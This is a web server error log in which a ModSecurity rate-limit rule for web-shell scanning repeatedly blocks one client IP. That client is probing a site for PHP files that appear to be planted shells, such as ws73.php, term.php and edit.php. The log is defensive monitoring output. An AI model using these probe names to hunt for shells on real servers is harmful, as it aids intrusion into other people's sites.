[Tue Mar 31 10:44:03.431362 2026] [:error] [pid 41421:tid 41446] [client 158.158.51.236:42458] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ne2026.php"] [unique_id "acs08xSaDjY9kKFtUQCl-QAAARY"]
[Tue Mar 31 10:44:05.042876 2026] [:error] [pid 36891:tid 36934] [client 158.158.51.236:65093] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws73.php"] [unique_id "acs09ZJhiMaJUqoqfl5RJQAAAEo"]
[Tue Mar 31 10:44:07.659704 2026] [:error] [pid 6548:tid 6569] [client 158.158.51.236:40246] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws73.php"] [unique_id "acs097gIz9HgMl9YwE7N4AAAAVM"]
[Tue Mar 31 10:44:09.513625 2026] [:error] [pid 6548:tid 6550] [client 158.158.51.236:4518] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws73.php"] [unique_id "acs0-bgIz9HgMl9YwE7N5QAAAUA"]
[Tue Mar 31 10:44:10.652304 2026] [:error] [pid 36891:tid 36935] [client 158.158.51.236:62601] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws73.php"] [unique_id "acs0-pJhiMaJUqoqfl5RMAAAAEs"]
[Tue Mar 31 10:44:11.296832 2026] [:error] [pid 36891:tid 36946] [client 158.158.51.236:42991] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws84.php"] [unique_id "acs0-5JhiMaJUqoqfl5RNgAAAFY"]
[Tue Mar 31 10:44:12.126059 2026] [:error] [pid 6548:tid 6564] [client 158.158.51.236:42991] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws84.php"] [unique_id "acs0_LgIz9HgMl9YwE7N7AAAAU4"]
[Tue Mar 31 10:44:12.874660 2026] [:error] [pid 36891:tid 36925] [client 158.158.51.236:42985] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws84.php"] [unique_id "acs0_JJhiMaJUqoqfl5ROAAAAEE"]
[Tue Mar 31 10:44:13.612203 2026] [:error] [pid 41421:tid 41431] [client 158.158.51.236:62642] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws84.php"] [unique_id "acs0_RSaDjY9kKFtUQCmEgAAAQc"]
[Tue Mar 31 10:44:14.301822 2026] [:error] [pid 36982:tid 36989] [client 158.158.51.236:21178] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/baixy.php"] [unique_id "acs0_vlMmeoQKN0r_GPeJgAAAMQ"]
[Tue Mar 31 10:44:21.734251 2026] [:error] [pid 36982:tid 37007] [client 158.158.51.236:40744] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/baixy.php"] [unique_id "acs1BflMmeoQKN0r_GPeVQAAANY"]
[Tue Mar 31 10:44:23.249403 2026] [:error] [pid 36982:tid 36998] [client 158.158.51.236:46441] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/baixy.php"] [unique_id "acs1B_lMmeoQKN0r_GPeXwAAAM0"]
[Tue Mar 31 10:44:24.976326 2026] [:error] [pid 36982:tid 37009] [client 158.158.51.236:45937] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/baixy.php"] [unique_id "acs1CPlMmeoQKN0r_GPeaQAAANg"]
[Tue Mar 31 10:44:26.313424 2026] [:error] [pid 41421:tid 41434] [client 158.158.51.236:54646] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/baixy.php"] [unique_id "acs1ChSaDjY9kKFtUQCmSwAAAQo"]
[Tue Mar 31 10:44:26.837877 2026] [:error] [pid 41421:tid 41436] [client 158.158.51.236:5047] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "acs1ChSaDjY9kKFtUQCmTAAAAQw"]
[Tue Mar 31 10:44:27.512069 2026] [:error] [pid 36892:tid 36957] [client 158.158.51.236:54593] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "acs1C0yj9S4G0ek3O4LyfwAAAIY"]
[Tue Mar 31 10:44:28.249960 2026] [:error] [pid 6548:tid 6553] [client 158.158.51.236:17054] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "acs1DLgIz9HgMl9YwE7OQQAAAUM"]
[Tue Mar 31 10:44:28.793491 2026] [:error] [pid 36982:tid 37007] [client 158.158.51.236:54611] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "acs1DPlMmeoQKN0r_GPebwAAANY"]
[Tue Mar 31 10:44:29.332917 2026] [:error] [pid 6548:tid 6561] [client 158.158.51.236:35891] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "acs1DbgIz9HgMl9YwE7ORAAAAUs"]
[Tue Mar 31 10:44:30.182083 2026] [:error] [pid 36982:tid 36992] [client 158.158.51.236:4332] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "acs1DvlMmeoQKN0r_GPedgAAAMc"]
[Tue Mar 31 10:44:31.091610 2026] [:error] [pid 36891:tid 36943] [client 158.158.51.236:35858] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "acs1D5JhiMaJUqoqfl5RSwAAAFM"]
[Tue Mar 31 10:44:31.772053 2026] [:error] [pid 36891:tid 36946] [client 158.158.51.236:61552] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "acs1D5JhiMaJUqoqfl5RTgAAAFY"]
[Tue Mar 31 10:44:32.384684 2026] [:error] [pid 36982:tid 37005] [client 158.158.51.236:64003] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws77.php"] [unique_id "acs1EPlMmeoQKN0r_GPeegAAANQ"]
[Tue Mar 31 10:44:33.002068 2026] [:error] [pid 36892:tid 36974] [client 158.158.51.236:46405] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws77.php"] [unique_id "acs1EUyj9S4G0ek3O4LyiQAAAJc"]
[Tue Mar 31 10:44:34.113029 2026] [:error] [pid 36890:tid 36919] [client 158.158.51.236:40708] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws77.php"] [unique_id "acs1Ep8FASPd_uH8z7d16QAAABg"]
[Tue Mar 31 10:44:34.995536 2026] [:error] [pid 36890:tid 36911] [client 158.158.51.236:35868] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws77.php"] [unique_id "acs1Ep8FASPd_uH8z7d17AAAABA"]
[Tue Mar 31 10:44:35.773841 2026] [:error] [pid 41421:tid 41442] [client 158.158.51.236:46457] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "acs1ExSaDjY9kKFtUQCmUAAAARI"]
[Tue Mar 31 10:44:36.471232 2026] [:error] [pid 6548:tid 6567] [client 158.158.51.236:17036] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "acs1FLgIz9HgMl9YwE7OTQAAAVE"]
[Tue Mar 31 10:44:37.000151 2026] [:error] [pid 36982:tid 36995] [client 158.158.51.236:26863] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "acs1FPlMmeoQKN0r_GPegAAAAMo"]
[Tue Mar 31 10:44:37.871342 2026] [:error] [pid 36891:tid 36939] [client 158.158.51.236:40722] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "acs1FZJhiMaJUqoqfl5RZwAAAE8"]
[Tue Mar 31 10:44:38.607471 2026] [:error] [pid 36892:tid 36960] [client 158.158.51.236:40741] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "acs1Fkyj9S4G0ek3O4LyjQAAAIk"]
[Tue Mar 31 10:44:39.573873 2026] [:error] [pid 36891:tid 36946] [client 158.158.51.236:4992] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "acs1F5JhiMaJUqoqfl5RewAAAFY"]
[Tue Mar 31 10:44:41.540776 2026] [:error] [pid 41421:tid 41427] [client 158.158.51.236:29717] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "acs1GRSaDjY9kKFtUQCmaQAAAQM"]
[Tue Mar 31 10:44:42.605175 2026] [:error] [pid 36982:tid 36985] [client 158.158.51.236:37780] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "acs1GvlMmeoQKN0r_GPejQAAAMA"]
[Tue Mar 31 10:44:44.201908 2026] [:error] [pid 36982:tid 37000] [client 158.158.51.236:35875] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "acs1HPlMmeoQKN0r_GPekAAAAM8"]
[Tue Mar 31 10:44:44.995932 2026] [:error] [pid 6548:tid 6560] [client 158.158.51.236:64013] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "acs1HLgIz9HgMl9YwE7OeAAAAUo"]
[Tue Mar 31 10:44:45.723425 2026] [:error] [pid 36890:tid 36900] [client 158.158.51.236:48481] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "acs1HZ8FASPd_uH8z7d2DAAAAAU"]
[Tue Mar 31 10:44:47.026364 2026] [:error] [pid 6548:tid 6564] [client 158.158.51.236:55202] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "acs1H7gIz9HgMl9YwE7OfQAAAU4"]
[Tue Mar 31 10:44:47.647827 2026] [:error] [pid 36891:tid 36931] [client 158.158.51.236:5039] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "acs1H5JhiMaJUqoqfl5RggAAAEc"]
[Tue Mar 31 10:44:48.242095 2026] [:error] [pid 36890:tid 36898] [client 158.158.51.236:26822] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "acs1IJ8FASPd_uH8z7d2EQAAAAM"]
[Tue Mar 31 10:44:48.849454 2026] [:error] [pid 36890:tid 36913] [client 158.158.51.236:26825] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "acs1IJ8FASPd_uH8z7d2EgAAABI"]
[Tue Mar 31 10:44:49.659135 2026] [:error] [pid 36891:tid 36932] [client 158.158.51.236:33504] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "acs1IZJhiMaJUqoqfl5RhwAAAEg"]
[Tue Mar 31 10:44:50.707780 2026] [:error] [pid 36890:tid 36907] [client 158.158.51.236:26816] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/55b76.php"] [unique_id "acs1Ip8FASPd_uH8z7d2FwAAAAw"]
[Tue Mar 31 10:44:51.417821 2026] [:error] [pid 36892:tid 36952] [client 158.158.51.236:33498] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/55b76.php"] [unique_id "acs1I0yj9S4G0ek3O4LynAAAAIE"]
[Tue Mar 31 10:44:51.940534 2026] [:error] [pid 36982:tid 37002] [client 158.158.51.236:17025] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/55b76.php"] [unique_id "acs1I_lMmeoQKN0r_GPepAAAANE"]
[Tue Mar 31 10:44:52.517770 2026] [:error] [pid 41421:tid 41435] [client 158.158.51.236:4267] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/55b76.php"] [unique_id "acs1JBSaDjY9kKFtUQCmfgAAAQs"]
[Tue Mar 31 10:44:53.056249 2026] [:error] [pid 41421:tid 41446] [client 158.158.51.236:26868] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd.php"] [unique_id "acs1JRSaDjY9kKFtUQCmgQAAARY"]
[Tue Mar 31 10:44:53.585229 2026] [:error] [pid 6548:tid 6551] [client 158.158.51.236:40256] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd.php"] [unique_id "acs1JbgIz9HgMl9YwE7OggAAAUE"]
[Tue Mar 31 10:44:54.239831 2026] [:error] [pid 36891:tid 36929] [client 158.158.51.236:29699] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd.php"] [unique_id "acs1JpJhiMaJUqoqfl5RigAAAEU"]
[Tue Mar 31 10:44:54.945605 2026] [:error] [pid 36891:tid 36933] [client 158.158.51.236:37807] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd.php"] [unique_id "acs1JpJhiMaJUqoqfl5RiwAAAEk"]
[Tue Mar 31 10:44:55.603075 2026] [:error] [pid 6548:tid 6559] [client 158.158.51.236:61564] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "acs1J7gIz9HgMl9YwE7OiwAAAUk"]
[Tue Mar 31 10:44:56.192609 2026] [:error] [pid 36890:tid 36901] [client 158.158.51.236:37821] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "acs1KJ8FASPd_uH8z7d2HwAAAAY"]
[Tue Mar 31 10:44:56.935271 2026] [:error] [pid 36890:tid 36914] [client 158.158.51.236:55170] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "acs1KJ8FASPd_uH8z7d2IgAAABM"]
[Tue Mar 31 10:44:57.543725 2026] [:error] [pid 36891:tid 36932] [client 158.158.51.236:40747] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "acs1KZJhiMaJUqoqfl5RkgAAAEg"]
[Tue Mar 31 10:44:58.109384 2026] [:error] [pid 6548:tid 6570] [client 158.158.51.236:55193] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8.php"] [unique_id "acs1KrgIz9HgMl9YwE7OjQAAAVQ"]
[Tue Mar 31 10:44:58.736123 2026] [:error] [pid 6548:tid 6558] [client 158.158.51.236:63450] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8.php"] [unique_id "acs1KrgIz9HgMl9YwE7OkQAAAUg"]
